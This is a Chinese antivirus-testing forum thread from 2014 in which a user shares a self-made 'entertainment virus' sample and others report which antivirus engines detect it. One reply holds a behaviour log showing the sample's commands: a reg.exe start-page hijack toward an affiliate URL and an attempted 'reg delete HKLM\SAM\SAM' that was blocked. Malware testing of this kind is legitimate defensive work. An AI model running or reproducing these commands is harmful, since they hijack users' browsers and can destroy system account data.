【原创】自制纯娱乐病毒，欢迎大家测试主防

显示全部楼层 · 发表于 2014-8-8 19:39:34

GD
Gen:Trojan.StartPage.aaW@AaAaA (引擎A)

显示全部楼层 · 发表于 2014-8-8 19:41:52

数字拦截

显示全部楼层 · 发表于 2014-8-8 19:49:22

Gen:Trojan.StartPage.aaW@aaaaa
C:\Users\Eric\Desktop\请用管理员权限运行.zip

显示全部楼层 · 发表于 2014-8-8 20:40:51

tg123321 发表于 2014-8-8 19:10
拜托，之前那个根本跑不起来

The new file was also detected as Win32:Evo-gen[Susp]

显示全部楼层 · 发表于 2014-8-8 20:50:14

红伞

%E8%AF%B7%E7%94%A8%E7%AE%A1%E7%90%86%E5%91%98%E6%9D%83%E9%99%90%E8%BF%90%E8%A1%8C.exe

显示全部楼层 · 发表于 2014-8-8 22:23:04

2014-08-08 22:19:05 创建文件    操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\请用管理员权限运行\请用管理员权限运行.exe
文件路径:C:\娱乐.bat
触发规则:所有程序规则->全局设置->%SystemDrive%\*

2014-08-08 22:19:06 运行应用程序    操作:允许
进程路径:C:\Documents and Settings\Administrator\桌面\请用管理员权限运行\请用管理员权限运行.exe
文件路径:C:\WINDOWS\system32\cmd.exe
命令行:/c ""C:\娱乐.bat" "
触发规则:所有程序规则->系统程序设置->%windir%\system32\cmd.exe

2014-08-08 22:19:06 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d "http://www.duba.com/?un_361586_142560" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2014-08-08 22:19:07 运行应用程序    操作:允许
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d "http://www.duba.com/?un_361586_142560" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

2014-08-08 22:19:07 运行应用程序    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\WINDOWS\system32\reg.exe
命令行:delete "HKLM\SAM\SAM" /f
触发规则:所有程序规则->系统程序设置->*\reg.exe

显示全部楼层 · 发表于 2014-8-9 10:35:31

Webroot杀~~

显示全部楼层 · 发表于 2014-8-9 11:10:41

扫描没有反应，双击不知道这算拦住没有

显示全部楼层 · 发表于 2014-8-9 13:25:34

莫非vse啥都扫不出来吗

显示全部楼层 · 发表于 2014-8-9 16:34:35

360杀/火绒杀

[病毒样本] 【原创】自制纯娱乐病毒，欢迎大家测试主防

本帖子中包含更多资源